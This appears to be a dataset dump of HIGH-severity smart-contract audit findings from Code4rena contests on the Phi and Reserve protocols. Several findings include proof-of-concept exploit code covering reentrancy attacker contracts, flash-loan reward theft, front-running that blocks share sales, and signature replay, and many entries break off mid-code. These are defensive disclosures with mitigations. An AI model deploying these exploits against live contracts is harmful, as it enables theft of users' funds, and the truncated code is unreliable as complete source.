xanoutas/solidity-security-findings huggingface dataset:
Wrong visibility in Cred.sol::_removeCredIdPerAddress() function can prevent users to sell their shares
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L685-L729


# Vulnerability details

The functions `_removeCredIdPerAddress()` and `_addCredIdPerAddress()` are publicly accessible, allowing users to modify the `_credIdsPerAddress` list with arbitrary `credId_` and `sender_` values. This vulnerability enables attackers to:
1. **Empty a User’s _credIdsPerAddress List:** Attackers can remove all `credId_` entries associated with any user’s address, preventing the user from selling their Cred shares.
2. **Add Invalid or Duplicate IDs:** Users can populate the `_credIdsPerAddress` list with duplicate or nonexistent IDs by calling `_addCredIdPerAddress()`.

## Impact

The ability to manipulate the `_credIdsPerAddress` list can lead to users being unable to sell their shares, potentially resulting in a loss of funds.

## Tools Used

Manual Review

## Recommended Mitigation Steps

To prevent unauthorized modifications, change the visibility of `_addCredIdPerAddress` and `_removeCredIdPerAddress` functions from public to internal:

```diff
-    function _addCredIdPerAddress(uint256 credId_, address sender_) public {
+    function _addCredIdPerAddress(uint256 credId_, address sender_) internal {
        // Add the new credId to the array
        _credIdsPerAddress[sender_].push(credId_);
        // Store the index of the new credId
        _credIdsPerAddressCredIdIndex[sender_][credId_] = _credIdsPerAddressArrLength[sender_];
        // Increment the array length counter
        _credIdsPerAddressArrLength[sender_]++;
    }

    // Function to remove a credId from the address's list
-    function _removeCredIdPerAddress(uint256 credId_, address sender_) public {
+    function _removeCredIdPerAddress(uint256 credId_, address sender_) internal {
```


## Assessed type

Other
The SHARE_LOCK_PERIOD check can be bypassed by `re-entrancy` vulnerability in the function `_handleTrade`
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L642


# Vulnerability details

## Vulnerability Detail

In the `_handleTrade` function, the state variable `lastTradeTimestamp[credId_][curator_]` is updated after the `safeTransferETH` function which sends ETH to `msg.sender` when `exceePayment > 0`. This is referred to as a `re-entrancy` vulnerability as a malicious contract could reenter the contract to bypass the SHARE_LOCK_PERIOD check in `sellShareCred`.

```solidity
    function _handleTrade(
        uint256 credId_,
        uint256 amount_,
        bool isBuy,
        address curator_,
        uint256 priceLimit
    )
        internal
        whenNotPaused
    {
        ...

        _updateCuratorShareBalance(credId_, curator_, amount_, isBuy);

        if (isBuy) {
            cred.currentSupply += amount_;
            uint256 excessPayment = msg.value - price - protocolFee - creatorFee;
            if (excessPayment > 0) {
                _msgSender().safeTransferETH(excessPayment);
            }
            lastTradeTimestamp[credId_][curator_] = block.timestamp;
        } else {
            cred.currentSupply -= amount_;
            curator_.safeTransferETH(price - protocolFee - creatorFee);
        }

        ...
    }
```

## Impact

A distributor can significantly increase his shareNumber with a flash loan and take most of the distributed reward for himself.

## Proof of Concept

1.deploy a malicious contract implementing the fallback function.
2.get a flashloan of ETH
3.call the function `buyShareCred` with `msg.value` bigger than `price + protocolFee + creatorFee` to trigger the logic when `exceePayment > 0`.
4.call the function `distribute` to take most of the distributed reward.
5.call the function `sellShareCred` in `fallback()` to bypass the SHARE_LOCK_PERIOD check and withdraw the ETH.
6.repay the flashloan with ETH.

```solidity
    fallback() external payable {

        uint256 credId = 1;
        
        uint256 userAmounts = cred.getShareNumber(credId, address(this));
        uint256 totalBalance = curatorRewardsDistributor.balanceOf(credId);
        if(userAmounts>0 && totalBalance>0){
            uint256 initialBalance = phiRewards.balanceOf(address(this));
            uint256 ownerBalance = owner.balance;

            console2.log("initialBalance",initialBalance);
            console2.log("ownerBalance",ownerBalance);

            curatorRewardsDistributor.distribute(credId);
            uint256 finalBalance = phiRewards.balanceOf(address(this));
            uint256 finalOwnerBalance = owner.balance;

            console2.log("finalBalance",finalBalance);
            console2.log("finalOwnerBalance",finalOwnerBalance);

            cred.sellShareCred(credId, userAmounts, 0);
        }
        
    }

    function testDistribute_poc() public {
        uint256 credId = 1;
        uint256 depositAmount = 1 ether;

        // Deposit some ETH to the curatorRewardsDistributor
        curato
Failure to restrict royalties in `CreatorRoyaltiesControl` may result in large losses for users
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/abstract/CreatorRoyaltiesControl.sol#L58-L66


# Vulnerability details

## Impact

Arbitrary royalty can be set by the creator for their art, e.g. 500%, leading to potentially large losses for users.

## Summary

Function [CreatorRoyaltiesControl::_updateRoyalties](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/abstract/CreatorRoyaltiesControl.sol#L58-L66), which is called from [PhiNFT1155::updateRoyalties](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L195-L203), lacks any enforcement on the supplied royalties:

```solidity
function _updateRoyalties(uint256 tokenId, RoyaltyConfiguration memory configuration) internal {
    if (configuration.royaltyRecipient == address(0) && configuration.royaltyBPS > 0) {
        revert InvalidRoyaltyRecipient();
    }
    royalties[tokenId] = configuration;

    emit UpdatedRoyalties(tokenId, msg.sender, configuration);
}
```

It is worth contrasting this implementation with the implementation of [CuratorRewardsDistributor:updateRoyalty](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L57-L63), which performs proper bounds enforcement:

```solidity
    function updateRoyalty(uint256 newRoyalty_) external onlyOwner {
        if (newRoyalty_ > MAX_ROYALTY_RANGE) {
            revert InvalidRoyalty(newRoyalty_);
        }
        withdrawRoyalty = newRoyalty_;
        emit RoyaltyUpdated(newRoyalty_);
    }
```

As stated in the [README: EIP compliance checklist](https://github.com/code-423n4/2024-08-phi/blob/main/README.md#eip-compliance-checklist), [PhiNFT1155](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol) is supposed to be ERC1155 compatible. [ERC-2981](https://eips.ethereum.org/EIPS/eip-2981) states that

> ERC-721 and ERC-1155 compliant contracts MAY implement this ERC for royalties to provide a standard method of specifying royalty payment information.

Moreover, as detailed in the ERC-2981:

> Marketplaces that support this standard SHOULD implement some method of transferring royalties to the royalty recipient. Standards for the actual transfer and notification of funds will be specified in future EIPs.

> Marketplaces MUST pay the royalty in the same unit of exchange as that of the _salePrice passed to royaltyInfo(). This is equivalent to saying that the _salePrice parameter and the royaltyAmount return value MUST be denominated in the same monetary unit. For example, if the sale price is in ETH, then the royalty payment must also be paid in ETH, and if the sale price is in USDC, then the royalty payment must also be paid in USDC.

> Implementers of this standard MUST calculate a percentage of the _salePrice when calculating the royalty amount. S
Malicious Actors Can Prevent Share Sales in Cred Contract
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L695


# Vulnerability details

## Impact
The vulnerability in the Cred contract allows malicious actors to manipulate the selling mechanism of Signals (shares), leading to several severe consequences:

1. **Forced Holding and Price Manipulation**: Attackers can prevent legitimate users from selling their shares, forcing them to hold while the attacker sells at a higher price. This directly results in financial losses for honest users.

2. **Front-Running and Theft**: By monitoring the mempool for buy orders with high slippage, attackers can front-run these transactions, buy shares at a lower price, prevent the legitimate user from selling for the cooldown period, and then sell at a higher price. This amounts to direct theft from honest users.

3. **System Abuse by Cred Owners**: Cred owners can exploit this vulnerability to artificially inflate and maintain high signal levels by preventing users from selling their shares, undermining the integrity of the signaling system.

4. **Denial of Service**: Users can be permanently locked out of selling their shares, effectively trapping their funds in the contract.

These impacts severely undermine the fairness, functionality, and trustworthiness of the Cred system, potentially leading to significant financial losses and erosion of user trust.

## Proof of Concept
The vulnerability stems from the public visibility of the `_removeCredIdPerAddress` function in the Cred contract. This function can be directly called by anyone, allowing them to remove a user's ability to sell shares.

To demonstrate this vulnerability:

1. Add the following test to the `TestCred` contract in `test/Cred.t.sol`.
2. Run the test using the command `forge test --mt test_AvoidSell`.

```js
    function test_AvoidSell() public {
        _createCred("BASIC", "SIGNATURE", 0x0);

        vm.startPrank(anyone);
        // participant buys cred share
        cred.buyShareCred{value: cred.getCredBuyPriceWithFee(1, 1)}(1, 1, 0);
        assertEq(cred.isShareHolder(1, anyone), true, "cred 1 is voted by anyone");
        vm.stopPrank();

        // cooldown period
        vm.warp(block.timestamp + 10 minutes + 1 seconds);

        // attacker sees the sell order in mempool and front-runs it to not let the sell go through
        address attacker = address(0x10002000);
        vm.startPrank(attacker);
        cred._removeCredIdPerAddress(1, anyone);
        vm.stopPrank();

        // anyone tries to sell cred share
        vm.startPrank(anyone);

        vm.expectRevert();
        cred.sellShareCred(1, 1, 0);
    }
```

This test demonstrates how an attacker can prevent a legitimate user from selling their shares by calling `_removeCredIdPerAddress` directly, causing the subsequent `sellShareCred` call to revert due to the check on line 703:

```js
703   if (_credIdsPerAddress[sender_].length == 0) revert EmptyArray();
```
Reentrancy on `Cred::_createCredInternal` allow cred creator to frontrun early share
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L570-L574


# Vulnerability details

## Impact

Calling `Cred::createCred` function will call the `_createCredInternal` function where the reentrancy can happen. This allow cred creator to buy multiple share at the same time they create the creds, front running other user and make the protocol not fair.

## Proof of Concept

The step of exploit:

1. participant1 wants to create a cred `credId=1`
2. participant1 use reentrancy to create and buy multiple early cheap shares
3. other participant see the newly created `credId=1`
4. other participant see the shares already sold many times
5. creating FOMO/fake statistic and other participant would eager to buy the shares
6. participant1 dump their shares

This exploit possible to happen because of the `_createCredInternal` does not follow CEI pattern:

```javascript
    function _createCredInternal(
.
.
.

@>      buyShareCred(credIdCounter, 1, 0);

        emit CredCreated(creator_, credIdCounter, credURL_, credType_, verificationType_);

@>      credIdCounter += 1;

        return credIdCounter - 1;
    }
```

`buyShareCred` is a function call `_handleTrade`, in the context of the function `_createCredInternal` it would automatically buy 1 share for the creator of the creds. In the above line of code, the `credIdCounter` is updated after the `buyShareCred` is called. If we inspect `_handleTrade` function then it would clearly be seen that it include ETH transfer:

```javascript
    function _handleTrade(
.
.
.
        if (isBuy) {
            cred.currentSupply += amount_;
            uint256 excessPayment = msg.value - price - protocolFee - creatorFee;
            if (excessPayment > 0) {
@>             _msgSender().safeTransferETH(excessPayment);
            }
            lastTradeTimestamp[credId_][curator_] = block.timestamp;
.
.
.
```

this basically means that if we managed to use the ETH transfer to trigger the `createCred` function, then we can use it to create creds and buy some of the early cheap prices reserved for early buyer in a single block. this should disadvantage honest and genuine user, also can damage the protocol reputation because of this method likely would be used for scamming others.

<details><summary>PoC</summary>

at the end of line of `Cred.t.sol` add the following contract (or import it as separate file):

```javascript
contract DuplicateCredId {
    BondingCurve bondingCurve;
    Cred cred;

    // variables
    address creator = address(this);
    bytes signedData;
    bytes signature;
    uint16 buyShareRoyalty = 100;
    uint16 sellShareRoyalty = 100;

    constructor(address _bondingCurve, address _cred) {
        bondingCurve = BondingCurve(_bondingCurve);
        cred = Cred(_cred);
    }

    function setSignDataAndSignature(bytes memory _signedData, bytes memory _signature) external {
        signedData = _signedData;
        signature = _signatu
Reward distribution is still vulnerable to flash loan attacks
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L644
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L77


# Vulnerability details

## Impact

While a previous audit confirmed that the [H-1] vulnerability was fixed, this attack vector still remains exploitable through a reentrancy attack. A malicious user can utilize a flash loan to purchase multiple cred shares and then call curatorReward.distribute() to claim a disproportionately large share of rewards. Subsequently, the attacker can sell the shares in same transaction.

The fundamental issue lies in the `cred` contract's handling of the `lastTradeTimestamp`, which is intended to track user trades and prevent the immediate selling of shares. However, the `lastTradeTimestamp` is updated after an excess payment is sent to the user, creating a window for a reentrancy attack. Since the `lastTradeTimestamp` is not updated before the ETH transfer, the attacker can exploit this timing gap to execute a reentrant call and sell the shares without adhering to the intended cooldown period.


## Proof of Concept

In the cred contract, the code snippet below demonstrates the vulnerable transaction flow:

```solidity
        if (isBuy) {
            cred.currentSupply += amount_;
            uint256 excessPayment = msg.value - price - protocolFee - creatorFee;
            if (excessPayment > 0) {
                _msgSender().safeTransferETH(excessPayment);
            }
            lastTradeTimestamp[credId_][curator_] = block.timestamp;
        } else {
            cred.currentSupply -= amount_;
            curator_.safeTransferETH(price - protocolFee - creatorFee);
        }
```
The safeTransferETH function is called to send the excess payment back to the sender before the lastTradeTimestamp is updated. This is a classic case where a reentrancy attack can occur. An attacker can utilize a flash loan to buy a large number of cred shares and then, before the lastTradeTimestamp is updated, call curatorReward.distribute(), claiming a significant portion of the rewards based on their inflated share holdings and execute a reentrant call to the sellShareCred function. This allows the attacker to bypass the cooldown mechanism and quickly sell the shares.

POC:
```solidity

        function test_RewardAttack() public {
        _createCred("BASIC", "SIGNATURE", 0x0);
        uint256 depositAmount= 10 ether;
        curatorRewardsDistributor.deposit{ value: depositAmount }(1, depositAmount);
        Attacker attacker = new Attacker(address(cred),address(curatorRewardsDistributor));
        uint256 initBalance= 100 ether;
        deal( address(attacker),initBalance);

        vm.startPrank(address(attacker));
        cred.buyShareCred{ value: 10 ether }(1, 10, 0);
        assertEq(cred.isShareHolder(1, address(attacker)), false, "Not sold all tokens");
        assertGt(ph
`PhiFactory::createArt()` is vulnerable to replay attacks due to insufficient validation.
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L191-L213
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L589-L593


# Vulnerability details

The `PhiFactory::createArt()` function is susceptible to replay attacks due to inadequate validation. The `PhiFactory::_validateArtCreationSignature()` function checks the signer's address and the expiration time of the signature but does not include any mechanism to prevent replaying the same signature. This means that a malicious user could reuse a valid signature to create multiple artworks (ERC1155 tokens) without restriction.
```js
    // PhiFactory::createArt()
    function createArt(
        bytes calldata signedData_,
        bytes calldata signature_,
        CreateConfig memory createConfig_
    )
        external
        payable
        nonReentrant
        whenNotPaused
        returns (address)
    {
@>        _validateArtCreationSignature(signedData_, signature_);
        (, string memory uri_, bytes memory credData) = abi.decode(signedData_, (uint256, string, bytes));
        ERC1155Data memory erc1155Data = _createERC1155Data(artIdCounter, createConfig_, uri_, credData);
        address artAddress = createERC1155Internal(artIdCounter, erc1155Data);
        artIdCounter++;
        return artAddress;
    }

    // PhiFactory::_validateArtCreationSignature()
    function _validateArtCreationSignature(bytes calldata signedData_, bytes calldata signature_) private view {
@>        if (_recoverSigner(keccak256(signedData_), signature_) != phiSignerAddress) revert AddressNotSigned();
        (uint256 expiresIn_,,) = abi.decode(signedData_, (uint256, string, bytes));
@>        if (expiresIn_ <= block.timestamp) revert SignatureExpired();
    }
```
## Impact

A malicious user could reuse a valid signature to repeatedly create multiple artworks (ERC1155 tokens), which could lead to significant issues, such as unauthorized minting of assets, devaluation of the artwork, or economic loss for the platform.

## Proof of Concept
To demonstrate this issue, add the following test code to `test/PhiFactory.t.sol` and execute it:
```js
    function test_createArt_replay() public {
        string memory artIdUrl_ = "sample-art-id";
        bytes memory credData = abi.encode(1, owner, "SIGNATURE", 31_337, bytes32(0));
        bytes memory signCreateData = abi.encode(expiresIn, artIdUrl_, credData);
        bytes32 createMsgHash = keccak256(signCreateData);
        bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
        (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
        if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
        IPhiFactory.CreateConfig memory config =
            IPhiFactory.CreateConfig(artCreator, receiver, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false);
        address artAddress;
        for (uint
Reentrancy Vulnerability in bidWithCallback(bytes) in the DutchTrade contract
Audit: 2024-07-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-reserve/blob/3f133997e186465f4904553b0f8e86ecb7bbacbf/contracts/plugins/trading/DutchTrade.sol#L235-L269


# Vulnerability details

## Impact
Detailed description of the impact of this finding.

Reentrancy Vulnerability in bidWithCallback(bytes) in the DutchTrade contract

Contract: DutchTrade
Function Name: bidWithCallback(bytes)
PC Address: 16558
File: /contracts/plugins/trading/DutchTrade.sol
Severity Level: High
Issue Type: Reentrancy Vulnerability
Estimated Gas Usage: 2328 - 3273

The bidWithCallback(bytes) function in the DutchTrade contract is vulnerable to a reentrancy attack. 

This vulnerability arises from the fact that the function makes an external call to the user-defined dutchTradeCallback function before performing critical state changes or settling the trade. 

This allows a malicious bidder to reenter the contract during the callback and execute additional bids, which could manipulate the auction or cause unintended state changes.

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

An attacker can exploit this vulnerability to:

1. Reenter the bidWithCallback(bytes) function, causing unexpected state changes, including manipulating the auction to their advantage.

2. Drain tokens from the contract by placing multiple bids within the same transaction, potentially at manipulated prices.

3. Disrupt the auction process, resulting in financial loss or denial of service for other participants.

```sol
contract MaliciousBidder is IDutchTradeCallee {
    DutchTrade public auction;

    constructor(DutchTrade _auction) {
        auction = _auction;
    }

    function dutchTradeCallback(address buyToken, uint256 buyAmount, bytes calldata data) external override {
        // Reenter the auction and place another bid
        auction.bidWithCallback("");
    }

    function attack() external {
        // Initiate the attack by calling bidWithCallback
        auction.bidWithCallback("");
    }
}
```

In this proof of concept, the MaliciousBidder contract reenters the DutchTrade contract by calling bidWithCallback within the dutchTradeCallback function, allowing it to place multiple bids within the same transaction.

MythX log
```log
/2024-07-reserve/contracts/plugins/trading/DutchTrade.sol:237

bidWithCallback(bytes)
assert(status == TradeStatus.OPEN)

--------------------
Initial State:

Account: [CREATOR], balance: 0x0, nonce:0, storage:{}
Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded_data: , value: 0x0
Caller: [ATTACKER], function: bidWithCallback(bytes), txdata: 0xd5557c040000000000000000000000000000000000000000000000000000000000000000, decoded_data: ('',), value: 0x0
```

POC - Remix IDE
Step 1: Malicious Contract Code
```sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./DutchTrade.sol